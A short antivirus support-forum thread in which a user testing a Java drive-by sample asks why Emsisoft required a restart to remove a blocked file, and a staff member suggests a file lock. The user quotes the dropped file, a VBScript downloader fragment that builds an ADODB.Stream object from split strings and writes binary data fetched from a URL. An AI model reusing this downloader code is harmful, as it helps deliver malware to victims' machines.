File blocked , why emsi wants to restart ;)

[¥akuza112]

I tested the java drive by application with emsisoft, and i was wondering a bit ...

Because of Number 1 ( in picture ) , why i had to make a restart to remove the file, i thought it got blocked ?! do not understand

The content is just

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim S
Dim A
Dim DTNDTN
S = "ADODB"
A = ".Stream"
Set DTNDTN = CreateObject(S+A)
DTNDTN.Type = adTypeBinary
DTNDTN.Open
DTNDTN.Write BinaryGetURL(Wscript.Arguments(0))

i think it is a fault of emsi to say, restart now, to remove file ? or am i wrong ^^

Ignore nr 2 my brain was failing there. So this was my last question for the next days/week .. do not wanna spam here

have a nice day/night

[GT500]

It is possible that something was preventing it from being deleted. Assuming that the file was created by the Java interpreter, it could have still had a lock on the file. I can't say for certain, however, as I am not a researcher and do not have the technical details of the infection.